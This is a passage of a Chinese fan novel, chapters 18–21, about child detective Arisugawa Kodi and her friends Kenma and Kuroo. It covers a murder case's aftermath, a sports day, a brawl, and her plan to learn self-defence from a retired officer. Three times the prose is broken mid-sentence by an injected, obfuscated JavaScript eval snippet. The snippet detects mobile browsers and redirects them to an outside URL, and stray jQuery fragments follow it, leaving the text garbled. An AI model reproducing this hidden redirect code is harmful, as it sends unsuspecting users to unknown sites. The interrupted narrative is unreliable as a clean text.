小孩子不懂大人的内心纠葛,他们只看到小伙伴被妈妈骂了,心情很低落,于是想要站出来和朋友一起面对。 孤爪研磨也认真地对真田珠英说:“莉亚没有乱来,上次在银行有栖川阿姨说的话,她都记住了。真田阿姨,莉亚一直在学怎么做好一个侦探。” 18.血色绣球花杀人事件(完) 面对两个孩子纯真无邪的眼神,真田珠英生出了一丝愧疚。 她必须得承认自己不是一个好母亲,也做不了一个好母亲。对于自己的亲生女儿,她远没有这两个孩子来得信任。身为一个正直、有责任心的警察,她无法对纵容溺爱自己的女儿,总怕她做出什么不可挽回的事。或许她不是警察就会对女儿多一些关爱和容忍,可那时候,没有父母的耳濡目染,蔻蒂还会变成现在这样,想要去做一个侦探吗? 现在看来,这个问题是无解的。真田珠英不可能放弃自己的正义,有栖川蔻蒂也不可能失去自己的天赋。如果真的有人能够改变蔻蒂,那个人也不会是真田珠英。 孤爪妈妈拍了拍好姐妹的肩膀,她们年龄相仿,脾气相投,有时还会约着去喝点小酒消遣消遣,算是在场最了解有栖川家情况的人了。 大人总是看别人家的孩子更好,有栖川蔻蒂长得可爱,嘴巴又甜,写作业不需要人操心,没事做的时候就在那安安静静地看书,这样又乖又聪明的小孩子谁不喜欢。 “珠英,她还小呢,以后的事说不准,有研磨和铁朗在,肯定都能好好的。” 说到这个,本来孤爪研磨和黑尾铁朗是注定要被各自家长拎回家吊起来好好抽一顿的。可能是有栖川蔻蒂平时的表面功夫做得太好了,家长们都只当是个早慧的乖小孩,所以他们不怪蔻蒂带着两人去冒险,只怪研磨和黑尾这两个做哥哥的不懂事不知道拦住妹妹。 可现在两个孩子一点没有推卸责任,主动站出来一起面对,有情有义,胆量也比原来变大了,这可是一件大好事啊! 以前总怕两个孩子内向被人欺负了去,和有栖川家的孩子在一起后,变得外向不少,让两家家长放心不少,孤爪妈妈就差没把“我儿子真棒”说出口了。 道歉没道歉成,还好三家的关系没有变坏,真田珠英只能暂且放过女儿,那边柏田义纪落网还有一大堆事等着她去处理呢,接下来有栖川蔻蒂也没什么空闲,她这个“主谋”还得去警局做笔录,解释解释是怎么发现这一切的。 临走的时候顺带告诉研磨和黑尾,让他们最近不要乱跑,说不准等柏田义纪定罪后,搜查一课会给他们颁发感谢状作为协助抓捕的奖励。 因为案情广受关注,加上证据确凿,凶手供认不讳,搜查一课加班加点,两天后无头案正式宣告侦破。 为了将群众的视线从搜查一课缓慢的办案效率上转移走,警视厅还着重将给三个孩子颁发感谢状的事情宣传出去。 孤爪研磨和黑尾铁朗其实不太想去这种全是人盯着他们看的场合,但拗不过家长对这个荣誉的重视,还特地每人买了一身新衣服去拍照。结果按照平时尺码买的新衣服却有些大。实在是真的没有天上掉馅饼的好事,那天挖了尸体以后虽然当时没有反应,可事后几天看见肉就吐,吐到后面心里已经不害怕,纯属是条件反射了,没有摄入足够的能量,两个人受了一大圈。 “你真弱,人家小蔻蒂怎么一点反应都没。”孤爪妈妈幸灾乐祸地抱着胳膊,嘲笑自己把头埋进垃圾桶的儿子。 “呕——呕——” 研磨不想说话,也腾不出嘴说话。他养成现在的性格都是有原因的,当妈的一点“活路”都不给儿子留,从小被逗到大,孤爪爸爸也只能袖手旁观,父子俩加在一起都说不过孤爪妈妈,不闭嘴能怎么办。 孤爪妈妈突然想起来:“对了,蔻蒂有没有跟你说过,柏田义纪那人渣为什么杀清枝,就因为出轨?” 有些案子的具体细节不会向民众公布,但是案子已经了结,私底下还是可以说说的。 研磨的确从蔻蒂那听到些柏田义纪的供述,只不过他不太明白其中的含义,只能大概复述出来:“因为柏田义纪嫉妒清枝姐姐……” “凭什么她能一点烦恼都没有,每天种种花画点破画,而我就要对着人点头哈腰,把自己喝到胃穿孔才能保住工作不被新人代替!” “什么‘会好起来的’话,都是狗屁,她只会说得轻巧,根本不懂我的不容易。” “每天回来看到她那张笑脸我都恶心地想吐,我给她下药,故意找其他女人让她发现就是想把她那张笑脸撕下来。” 玻璃的那一边,柏田义纪的表情似乎十分平静,可仔细看他用力到颤抖的嘴唇和手指便能发现他的内心一点也不平静,只是到了这种地步,还想保留一些体面,看起来不那么可怜。 可效果完全是零,怨毒的话语让见过不少人渣的警官都难免皱起眉头。人家姑娘性格开朗乐观还碍着你了是吧?这班是人家逼你去上的?挣来的钱自己没花?他们可都看到了,开的车,穿的衣服可都不是便宜货。要满足自己的欲望就要付出代价,这种事小孩子都懂,一个大人还想着不劳而获? 说着说着柏田义纪挣扎了起来,被束缚住的双手想要挣脱开来,却警察呵斥住后他涕泗横流:“可她为什么不在乎,她怎么可以不在乎我?!” “……”把这种东西记到笔录里也挺晦气的。 大概是真的憋狠了,没有人能听他纾解发泄心里的感想,不用警察一句一句问,柏田义纪自己就全都倒出来了。 他的计划里本来是不准备杀人,只是想下点不致命的毒,让妻子痛苦虚弱一段时间,多依赖他一点。他是在某个科技公司当工程师,借着工作之便去工厂搞些有毒物质也不是做不到。 真正让他动手的原因是那本日记,柏田义纪想让妻子知道,于是清枝知道了。清枝想让丈夫看到日记,柏田义纪也就顺理成章地看到了。两人的对峙没有一点剑拔弩张的激烈,清枝看向柏田义纪的眼神依旧平淡。可就是这样平淡的,甚至与平时的微笑一点区别都没有的表情彻底点燃了柏田义纪的怒火,他做了那么多手脚,到头来就只是个表演着拙劣把戏的小丑,还没能把人逗笑了。 冲动只是一瞬间的事,回过神来,妻子已经躺倒在地上没有了呼吸。一不做二不休,能想着下毒的人本身也不是什么心软的。柏田义纪改造了家里的门铃,在里面连接了摄像头和拨号装置,只要有人按门铃就能连接到他的电脑上,用以前记录下的清枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15066304|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的语音随时剪辑回应。 “本来过几天我就准备给清枝的父母打电话,说她知道了我出轨以后自己负气走了,然后前几天回家后没了消息,让他们去报警,这样和抛尸的时间差了一个多月,应该也联系不到我的头上。” 这的确是一个好办法,借口也找的恰到好处,损失掉一些名声来换取警察不会往一个月前的案子上去想,这笔买卖很划算。 警察也没什么好说的了,最后问了一句:“既然感情破裂,为什么不离婚?” “感情破裂?”柏田义纪笑得古怪,“我爱她,我还爱着清枝啊,这怎么能够算得上感情破裂。” “这还真是太扭曲了。”听完转述的孤爪妈妈唏嘘地摇摇头。 她这种思想健康积极向上的正常人实在理解不了柏田义纪的想法,好聚好散,把让自己不舒服的摆在面前那不是更难受吗? 爱情真可怕,研磨也不理解。为什么不能像小黑的爸爸妈妈那样,离婚了以后继续做朋友,继续一起养孩子,离婚了只是代表两个人没法一个生活,又不是不爱了。 想到这里他还成熟地对于妈妈说:“如果你和爸爸在一起不开心就离婚,不用管我,你们开心就好。” 孤爪妈妈既生气又欣慰,没好气地说:“去去去,我跟你爸好着呢,不要你了也不会离婚的。” “哦。”吃了一口狗粮的研磨乖乖闭嘴。 倒是孤爪妈妈有些不淡定,看他儿子这副冷淡的样子心里打鼓,研磨不会因为这件事留下心理阴影,从此被判处终生孤寂了吧? 不不不,不能够,这孩子平时虽然不太爱搭理人,情绪也没有那么高涨,喜欢自己一个人窝在房间里玩。但是他不是面瘫,该说话时,话也不少,每次过生日都有明确想要的礼物,七情六欲建在,应该不会就这样对爱情失望了。 回忆了一下,目前研磨好像还从来没有对任何异性表现出喜欢的想法,甚至说过话的小女孩都没几个。虽说这个年纪只是刚刚有了性别意识,没几个孩子会开窍,但有的孩子从幼儿园就学会拉小手了呢,这种事情不好说的。所以她儿子这到底是暂时不会有想法,还是永远不会有了? 孤爪妈妈犹豫了一会,想要试探研磨的想法,她都不敢太直接,怕孩子害羞,给他真留下阴影了。 “研磨啊,你觉得妈妈漂亮吗?” 这么问总可以吧,还有辨别美丑的想法,那就还有爱人的能力。 不知道妈妈心里纠葛的孤爪研磨只能满头雾水地打出一个问号:啊? 又是他妈的什么秘密考验,比如没有回答对就取消饭后甜点什么的? 这一迟疑让孤爪妈妈顿感不妙:“那你觉得蔻蒂漂亮吗?” “?” 孤爪妈妈大震惊:“……你不会觉得铁朗很漂亮吧???” 研磨被问毛了,警惕地看着他妈:“他怎么会漂亮,妈妈你到底要说什么?” 孤爪妈妈直接崩溃:“完了完了,你以后想当和尚吗?不对啊,和尚还能谈恋爱呢!” 19.风平浪静的跑步时间 6岁,再过两个月才七岁的孤爪研磨年纪尚小,还没有长成高中时候面对危急时刻都能冷静思考的的大心脏。 所以听到亲妈的话,他理所当然地红透了一张白净的小脸,头发炸起,像只被摸了屁股的小猫,瞪圆了眼睛看着孤爪妈妈。 孤爪妈妈干咳两声:“妈妈就是觉得,喜欢一个人是件很幸福的事情,如果你因为别人家的糟心事而减少自己的幸福感,那样很不值得。” 研磨虽然脸上的热意还没褪下去,但平静不少。研磨的早熟自然有家庭教育的功劳,好的坏的,深奥的浅显的,都会跟他说,所以很早研磨就非常有主见以及独立意识。 妈妈说话不靠谱,但目的还是为他着想,研磨不好意思地回了一句:“我知道。” “所以,研磨有喜欢的人了吗?” 他就知道,他妈正经不过三秒,研磨愤愤地说:“没有!” “真的没有吗?你什么时候谈恋爱妈妈都同意哦。” “就是没有!” 没有八卦到的孤爪妈妈不死心地问:“那理想型呢?” 又不是挑选自己的第一个宝O梦,怎么会有理想型这种东西啊?你们大人对于爱情这么草率吗? “我回房间了。” “诶诶,别走啊,说说又不会掉块肉,文静的?活泼的?还是和你爱好相同玩到一起的?我觉得蔻蒂很可爱哦~你们玩这么好,一点都不喜欢她?” 研磨越走越快,好像这样就能把妈妈的声音甩在脑后一样。妈妈都在胡说些什么啊!这跟莉亚又有什么关系! 可妈妈的话就像一句魔咒,环绕着研磨反复播放,他想忘记都难。 莉亚就是莉亚啊,又不是随随便便可以给她安一个什么身份的,那也太自以为是了。莉亚不会变成小黑,小黑也不会变成莉亚,莉亚是很重要的人,他感觉和莉亚在一起玩很轻松这不就够了? 虽然孤爪研磨自己还没有意识到,但有别于其他人的的重要性早就注定了两人在将来人生的交际只会越来越紧密。 柏田家的案子说来复杂,其实距离三个孩子发现参与到揭穿结束,也不过是一个周末的事。两天假期结束,小学生们还要乖乖去上学。 再去学校,显然其余学生和老师落在他们身上的眼神就多了不少,最直接的就是上课点名的频率大幅增加,都想试试他们是不是真的像新闻上说的那么聪明。 研磨和有栖川蔻蒂在一个班,还是同桌,有天才少女挡在前面,分给研磨的关注还没有那么多。可怜黑尾铁朗一个人在二年级,整个年纪的关注都落在了他一个人身上。 搞得他放学后都苦着脸跟小伙伴抱怨,今天至少跟一百个人说过话了,说得他喝了好几杯水,每节课都去跑厕所。 “大家还推着我去报名这个月的运动会50米短跑,我跑不过别人怎么办。” 音驹小□□动会低年级的没有几个个人项目,顶多就是跑跑步,跳跳远这种简单的项目。大多都是集体赛,还是把班级打乱的大乱斗对抗赛。 “那就不参加呗,我和研磨都拒绝了。” 没错,同样的事也找上了蔻蒂和研磨。不知道是不是老师被叫去统一下达了什么指示,想要把三个人当作吉祥物一样拉出来溜溜。对运动会没什么兴趣的蔻蒂和研磨果断拒绝了。 “可是……”黑尾铁朗支支吾吾地没答应。 蔻蒂当即明白了小伙伴的心思,跟不合群的他们俩不一样,小黑还是很乐意和人一块玩,融入大集体的。尾对于他们俩的“自我”表示尊重,他们自然也尊重黑尾的“热情”。朋友有很多种,相同的算一种,相互包容理解的算另一种。 “那这几天不打排球了,给你训练跑步?” 一下子被戳中心思,黑尾开心地晃着脑袋:“好!谢谢莉亚!谢谢研磨!” 音驹的运动会因为人多,时间拉得很长,小学部的比赛在十月中,说是训练,其实也就是给黑尾掐一下秒表,然后去问问“热情好客”的猫又教练有没有什么跑步的技巧。 “那你们来得还真是巧了,今天田崎那老小子正好过来转转,你们直接去跑道,看到个带帽子的老头就是了。” 猫又教练平时偶尔过来转转,发掘发掘好苗子的体育馆,其实是一个大型的儿童兴趣活动中心,所以有些想要普及宣传体育运动的活动都会在这里搞,人来人往指不定擦肩而过的就是什么深藏不露的运动员和教练。 说老头,其实没那么老。显然是猫又教练在调侃老友,田崎源一郎知道黑尾是猫又叫过来的,就让他和其他孩子们一起跑,蔻蒂和研磨不想参加,就坐在旁边的看台看书。蔻蒂换书了,那么多解剖书医术她也得慢慢消化,一口气看得头疼,现在看的是《植物百科》,柏田家的事让她想要把这方面的知识也记到脑子里融会贯通。 研磨捧的书跟蔻蒂差不多厚,同样是百科,只不过是《宝O梦图鉴大全》。 ……虽然他不是很在意什么“别人家的孩子”那种对比吧,但蔻蒂身上闪烁的勤奋的光芒,真的有点刺到他了。研磨心塞地转过半边身子,窝在墙角不想说话。 太阳下山前的这段日光晒在身上最舒服了,晒的人不想动弹。蔻蒂看着看着人就躺倒,逼得研磨不得已结束自己的小情绪,转过来把人扶正。 这是妈妈给她的任务,蔻蒂一看起书来就不好好坐,歪七扭八地倒着,这样对眼睛不好。 扶了几次,蔻蒂都慢慢地滑下去恢复原样,像条泥鳅似的抓不住。研磨只好把她架在自己的肩膀上支撑住,好在蔻蒂觉得这样也挺舒服,蹭了蹭就不动了。伴随着哨声和叽叽喳喳并不清晰的人声,两人继续安安静静地看书,一句话不说也不会觉得尴尬,好像从来都是这样的。 太阳的高度和温度是同步降低的,十月的天微凉,秋风吹在身上激起一阵寒意,寒冷引发食欲,蔻蒂看向橙黄的天,脑子开始联想:“我想吃鲷鱼烧了。” “只能吃一个,妈妈今天做了寿喜锅。” “好吧,那我要红豆的,你吃芝士的吗?” “可以。” “那小黑就吃栗子味的吧!”蔻蒂安排得明明白白,三个人选不同的口味,她就能一次吃到三种啦!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079378|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哗啦——” 蔻蒂耳朵动了动,她好像听见旁边的树丛里有什么东西。可等了一会没有鸟兽窜出来,正以为自己看错了的时候,树丛又动了一下。蔻蒂放下书,悄悄摸了过去,蹲在旁边想抓一个现行。 “你在干嘛?” “唔!!!” 被扒开的的树丛外是围栏,一个小男孩把两只小手从栏杆中伸进来,拉开挡住视线的花草,踮着脚朝里面认真地张望。结果被突然冒出的蔻蒂吓了一跳,浑身僵硬,一动都不敢动,眼泪汪汪地看着她。 “你在看他们跑步?为什么不进来看?” 男孩找回了一丝温度,紧张地缩了回去。枝杈“啪”一下合上,又被蔻蒂“哗”一下拨开。 “门在那边哦,你很喜欢跑步吗?” 男孩M字刘海下的两只眼睛瞪得又大又圆,支支吾吾半天也没说出句完整的话。 “阿走,你在那做什么?”远处女人的呼喊让男孩松了一口气,立马手脚并用爬起来跑走。 蔻蒂看着男孩的背影感慨地点点头,他跑得好快呀,果然很喜欢跑步吧! 之后的几天再来这里,蔻蒂都没有看见那个叫阿走的男孩子。她没有放在心上,只当是一个生活的小插曲。后面发生的事,完全占据了她的心神。 音驹是一贯校,地理位置上小学初中放在一起,高中离得稍微远一点隔了开来。所以运动会是小学和初中一起办的。操场上礼堂里乌泱泱全是人,学生远没有来观看的家长人数多,毕竟有的一家不止来一个,完全是全家一起上。高年级还有些亲子项目,拍照的,和孩子并肩作战的,每年运动会都热闹得不得了。 黑尾家的爷爷奶奶都来看孙子比赛了,孤爪家和有栖川家因为没有比赛,所以都只来了一个大人拍拍照,记录一下不可逆转的美好时光。 蔻蒂和黑尾都很配合,孤爪妈妈抓不到儿子就拜托他们俩帮忙,小孩子的体力只有小孩子才追得上,他们一人一边钳制住研磨的胳膊,硬生生把他留下来,拍摄了许多不可回忆的黑历史。 不知道是黑尾本身因为天天打排球就身体好,还是因为三家人都鼓着劲给他一个人加油,黑尾居然力压整个二年级,遥遥领先拿了第一名。 惹得所有人都在议论,是不是他们三个真的都是什么小天才,各自都有各自天赋异禀的领域。田径队教练都过来看了看这个好苗子,破例问黑尾要不要跟他练跑步。当时蔻蒂诱惑两人的话术的确实现了,只不过方向不太对,黑尾一颗心只在排球上,双方都只能惋惜地看了一眼对方。 为什么这孩子不喜欢跑步呢?/为什么小学部没有排球比赛呢? 十月忙忙碌碌眨眼就过去了,十一月也在日复一日的上学中过去了一半,时间好像很快,又似乎很慢。搬来三个多月转眼间已经经历了两件大案子,猛地闲下来,蔻蒂还觉得有些无聊。 可能事情就是不经念叨,案子说来就来,不是杀人放火,不是闯空门偷窃,只是一件简单的小事情。 三个孩子和人打群架了,打得有些严重,双方都进了医院。 20.风平浪静的打架时间 三个孩子是在放学路上出的事,事情一出,学校多多少少得掺和一下,无论是调查还是慰问都得给出些反应。负责的领导一个头两个大,还没沾到多少天才儿童的光,就要给他们收拾烂摊子了。 究竟是怎么打起来的,警察、老师、家长,每个人过来询问以后都觉得啼笑皆非。 这天和平常一样,三个人放学回家,先晃去书店陪有栖川蔻蒂更新一下百科库存,或者研磨和黑尾买几本新出的漫画,然后再去买几样好吃的垫垫肚子,慢慢晃悠着回家换身衣服去河边打球。大概是因为太规律,所以三人刚出书店没走多远就被一群小孩子堵住了。 说是小孩子,但一看对面的平均年龄就比蔻蒂三人这边的大一些,看着像十岁左右的,大概有七八个。 对面领头的是个黑头发的男孩子,态度很是嚣张,张口就说:“你们三个很不错,适合成为我的‘伊达三杰’,我允许你们加入我的梵天丸会!叫我‘独眼龙’总长就行!” 有栖川蔻蒂三人:“……” 沉默的背后是震惊,他怎么好意思说出这么中二的台词的?好厉害! 还以为什么大事,吓人一跳,原来是想玩过家家。懒得继续交流,他们想走,蔻蒂直接作为代表回了一句:“没兴趣。” 对面的男孩有些懵,按照流程不应该是问他,梵天丸会是干什么的,他为什么叫“独眼龙”总长吗?这三个小孩怎么回事,一点好奇心都没有? 当然,也不能指望几个小学生就能搞出个不得了的帮派。什么梵天丸会,不过是日向顺平过于崇拜伊达政宗,又有些领导的才能,笼络了几个不想回家写作业的小孩,在外面成天招猫逗狗而已。 顶着身边“追随者”的眼神,日向顺平觉得自己有些下不来台,小小年纪就已经深知不能在小弟面前丢面子这件事了。 模仿着电视剧里的台词,日向顺平霸道地说:“不行,我不同意,我看上你们是你们的荣幸,不要不识好歹,今天你们必须跟我走!” 可跟他们一起走了以后去干什么呢?无非是去河堤边丢石头,去小公园踢足球,或者玩一玩什么战国骑马大战的过家家游戏。 有栖川蔻蒂这边三人不知道呀,对面活生生一副土匪做派让他们很是生气,三个人里有两个人最讨厌被强迫,战火一下子就点燃了。 我方率先派出个子蹿得飞快的黑尾氏对对面进行温和劝解:“我们今天不想跟你们玩,下次再说吧。” 黑尾氏熟练掌握了敷衍拖延的绝技,下次再说的真实意思当然是下辈子再说。 这一招对于胡搅蛮缠的小孩子一点用处都没,日向顺平大手一挥,周围几个高年级的小孩子就把三人围住了。 下面出场的是一般不说话,说起话来就怼得人哑口无言的孤爪氏:“我们就是不去你们也没办法。” 日向顺平也有急智,抱着臂膀故作深沉地哼了一声:“那你们也没办法从我们的包围中离开。” 说罢,有个小胖子还顺着他的话推了研磨一把。 同伴败退,有栖川氏痛心疾首、怒火中烧,直接不顾对方死活,使出常用的大招:“你口袋里的手办是假的。” 日向顺平脑袋有些迷糊,毕竟这话题跳度实在太大了,只是愣愣地把自己放在上衣口袋露出上半身的伊达政宗模型拿出来,所有人的目光都聚焦在了上面。 “伊达家纹有很多种,但不包括五木瓜纹,那是织田家用的,连这一点都没发现,你还自称‘独眼龙’?” 耳边嗡地一声,日向顺平彻底懵了,脸上火辣辣的,既是因为平常总拿这个模型给小弟炫耀,到头来是假的。又是因为自诩是伊达政宗的超级粉丝,结果连这么显眼的问题都没有发现,他好像听到了那些小弟嘲笑的声音。 然而有栖川蔻蒂的大招还没放完,她把枪口转向推了研磨的小胖子:“你早上尿裤子了。” 小胖子紧张地捂住屁股,可欺负了研磨的人蔻蒂怎么会轻而易举地放过他。 “看你这条裤子绷这么紧的样子,恐怕经常尿裤子吧,尿的太频繁,最近买的裤子都不够换,只能把以前的拿出来穿,所以才小了。” 小胖子脸蛋通红,整个人像只被吊起来的烤乳猪。愤怒的小猪平时都在家宠着,谁敢这么让他丢人。本来脾气就不好,否则刚才也不会动手推人,被这么一刺激,不管不顾地就要冲上来打蔻蒂这个戳穿他秘密的人。 日向顺平迷糊的脑袋被小胖子冲出去的动作给吓醒了不少,他们是搞小团体了,可他们从来也没干过坏事啊,不小心踢球砸个玻璃就顶了天了。日向顺平想拦,没拦住,眼睁睁地看着自己的小弟像个沙包似的冲上去,然后被对面看上去最小的小女孩轻松躲过,伸脚绊了个狗吃屎。 小胖子摔在地上还“duang~”了一下,身上的肉弹了弹,缓了好一会才感觉疼痛来袭,震天动地地哭出来,再次爬起来,愤怒地拽上了身边的一个同伴一把把人推出去。 混战就是这样莫名其妙开始的,没有人可以置身事外,劝架也不行,有一个算一个都被拉进了战场。混乱中对面的合作默契显然不如音驹三人组,你一下我一下,腿上挨的一脚指不定是自己人中的谁踹的。 然而这样音驹三人组也不轻松,毕竟对面都是比他们大几岁的小孩,身高力气不能比。 蔻蒂感到很棘手,跟一个人打架和跟一群人打架是完全不同的。她可以利用预判和走位,把柏田义纪溜个几分钟,却不能同时判断前后左右好几个人的动作。而且对方把他们三个人一围,躲都躲不了。这就是“乱拳打死老师傅”,何况蔻蒂还不算老师傅。 不过蔻蒂下手也狠,她的力气因为打排球不算小,加上盯着痛点打,每一击都打得对方嗷嗷叫唤。一时半会两方僵持不下,谁也没占着便宜。 挨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15082037|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好几下,有栖川蔻蒂都没什么大事,她一直护着关键部位。黑尾铁朗到底个子高一些,即使和大孩子对打也基本没吃亏。只有研磨情况不太好,被蔻蒂绊了一脚的小胖子正一手按着研磨,一手准备冲他脸上打。 有栖川蔻蒂极其护短,可能是因为她在乎的东西在乎的人不多,所以对于仅存的这些就格外上心。 所以研磨被掐了腰,蔻蒂就红了眼。 当即不管什么保护要害的保守打法了,直接冲过去用肩膀对准小胖子的肚子给他拱了出去。 有了这个开头,战局直接升级,蔻蒂觉得对方不留手,她也没必要留情。头脑快速运转,什么借力打力,以伤换伤,各种损招一起招呼上去。打到后面对面都倒下了,只剩研磨和黑尾还站着,拉住失控的蔻蒂。 蔻蒂当然没失去理智,不如说她越愤怒头脑越清晰,立刻分析了现场,望着远处赶来的巡警,果断对两个小伙伴说了一句:“倒下装晕,有人问就说头疼想吐。” 说完蔻蒂眼睛一闭,“身先士卒”直接往地上倒下。 这种情况他们三个如果还好好地站着,有理也要少一半。这块偏僻还没摄像头,路人也就匆匆看一眼,到时候还是要根据小孩子说的话来判断。 研磨和黑尾不多犹豫,立刻跟着倒下,不知道怎么做那就跟着聪明人,莉亚什么时候害过他们了。 说是装晕,其实往地上一躺,在救护车上晃悠两下也都不知不觉睡着了。短时的爆发消耗了太多体力,这一觉蔻蒂几乎睡了一天一夜。 研磨和黑尾都先醒了,他们的伤势没有蔻蒂严重,只是一些皮外伤,而蔻蒂还多了个脑震荡。 对面的孩子就惨了,骨折的、脱臼的、正在换牙的门牙被打掉的。各式各样,但也都没严重到涉及生命危险。 有栖川蔻蒂以为得就这件事掰扯一下,她正想着要怎么说,春生先生就摸着她的头告诉她事情已经处理好了,对方承认是他们先动手的。 怎么可能?那几个小孩有这么老实还会来堵他们? 有栖川春生:“那个叫日向顺平的孩子受伤不重,他最先醒的,把事情都说清楚了。” 这个意思就是,对方老老实实按事实说了,没有颠倒是非,也没有添油加醋。 看来那个“独眼龙”还不算坏,就是不太聪明。 和平处理的结果就是,双方各自负责自己孩子的医疗费,相互道个歉就过去了。蔻蒂他们虽然占理,但到底算是打赢了,还打得对面都爬不起来,这事仔细计较对谁都不好。 没能好好发挥一场的有栖川蔻蒂无聊地躺在床上自我反省。 她好弱啊—— 对抗柏田义纪的胜利好像让她太自信了一点,事实证明她连几个年龄大一点的小孩子都不能应对。 成为世界第一侦探注定要面对无数危险,她用什么来抗衡,要怎么保护好研磨和小黑? 21.风平浪静的跟踪时间 有栖川蔻蒂的满肚子计划一个字都没有跟研磨和小黑说,怕他们俩担心,也怕他们有负担。因为这件事本身就是她自己的决定,不需要别人为此付出任何代价。 尽管蔻蒂什么都没透露,但是研磨和黑尾仍旧瘪着嘴,泪眼朦胧地坐在病床边看她。 蔻蒂躺得浑身不自在,你俩别露出这副表情呀,她只是一点软组织挫伤加脑震荡,又不是死了,多大点事啊。 比起有栖川蔻蒂这个从小看着凶案长大,头铁起来不管不顾,能活到现在纯靠命硬的经历,孤爪研磨和黑尾铁朗可是真真正正的乖小孩。打架这件事对他们来说绝对是活到现在最出格的事情,更别说从大人那里听到莉亚病历上的一大串听不懂的深奥名词,心里惶惶不安,没有亲眼见到莉亚活蹦乱跳的样子,总觉得她出大事了。 “莉亚,你要快点好起来呀,呜,我们,我们还等着和你一起打排球呢,呜呜呜——”黑尾揪着裤子,啪嗒啪嗒地掉小珍珠。 他是不是感情太充沛了一点? 蔻蒂无措地安慰:“小黑你别哭了,我真的没事,爸爸说明天就可以出院了。” “呜呜,我们都不用住院,你还躺在这里,那就是很严重!” “……研磨你劝劝小黑,让他别哭了。” 研磨拒绝,研磨生气,上次说好的要一起面对,莉亚又吃冲在前面撇下他们自己上了。研磨既生气莉亚不顾自己的安全,又生气他帮不上忙还连累了莉亚。反正他是哭不出来,但小黑的眼泪能让莉亚好好反省的话,他才不会阻止呢。 “可是我要保护研磨呀,你们都是我的好朋友,我不会让别人伤害你们!” 孤爪研磨:“那你也应该先保护好自己。” 黑尾铁朗擦了擦眼睛也跟着附和:“研磨说得对,而且我们两个都比莉亚大,是哥哥,哥哥保护妹妹才对。” 似乎道理的确是这样的,可蔻蒂觉得这种观点不对:“年龄大不能代表就有保护人的能力,我比研磨和小黑都厉害,当然应该是强者保护弱者。” “弱者”黑尾有自己的坚持,他坚定维护自己做哥哥的权力:“爸爸说哥哥保护妹妹才是天经地义。” 蔻蒂反驳道:“大人说的话也不是全对的!小黑你应该有自己的判断。” 黑尾不服输:“我的判断就是我和研磨要保护莉亚。” …… 两人叽叽喳喳地辩论起来,另一个“弱者”研磨不堪其扰,一手一个把他俩捏成鸭子嘴,打断重复的争论:“两种想法又不冲突,相互保护不就行了。” “唔%#研磨吼聪明唔!” 蔻蒂和黑尾立刻认输,用力地拍着小手为他的提议鼓掌,企图用自己澄澈的眼神打动研磨,让他放手。 这个话题的结果就这样定下了,虽然过程草率,但三个人都将这句话这个承诺放在心底,用自己的方式去实现。 有栖川蔻蒂休养好以后再回学校已经临近冬假,她跟爸爸妈妈说要去学一些防身术的事石沉大海,临近年末,刑警要比平时更忙一些,实在没空帮蔻蒂去安排她想做的事。蔻蒂等不及,从警视厅其他叔叔阿姨的口中,知道了一个好地方——警视厅警察学校。 就算是警察家属,她一个五岁的小孩子当然是进不去的。 蔻蒂若有所思,她进不去,但是警察学校的教官可以出来啊。这些教官又不是成天都待在里面,也是有正常上下班的。 问了佐滕子阿姨,又问了新一哥哥,蔻蒂挑挑选选找到一个目标。手冢国一,一个今年刚好要退休的老警察,受警视厅警察学校邀请,每周都会去警察学校进行一到两次的柔道教学。 经验丰富,时间宽裕,而且蔻蒂偷偷跟了几次,从他投币使用零钱的数量来看,住得应该不远。综合考虑都是一个很好的选择,唯一的问题就是他看起来很严肃,嘴角和眉毛之间的纹路都能看出,他绝对是谨言慎行,对待什么事都很认真的那一类人。 要想让这样一个人答应破例教导她一个小孩子,坑蒙拐骗、胡搅蛮缠肯定是不可取的,几乎没有人可以强迫他,所以一定要让手冢国一看到她的认真和决心,才有可能打动。 理想很丰满,计划很美好,可出师未捷身先死,蔻蒂还没出手,就被自己的目标人物绕后堵住,拎起来“审问”了。 “你是哪家的孩子,跟踪了我三次,究竟有什么事?”手冢国当了几十年的警察,板下脸来别说孩子了,就是大人也会被他身上的气势吓到。抱着胳膊俯视蔻蒂的样子,实在看上去有些欺负人。 为了和手冢国一对视,蔻蒂将脖子仰过去九十度,脑门前的刘海都翻了过去。不行,这样看人太难受了。她手脚并用爬上旁边的花坛,站得高高的,才好奇地问:“你怎么知道我在跟踪你?” 不是她吹,虽然没什么跟踪经验吧,但是保持距离,隔一段距离就改变一下身上的衣服,这几点她还是做到了的。再加上一般人怎么都不会想到被一个小孩跟踪,被发现的几率极低。 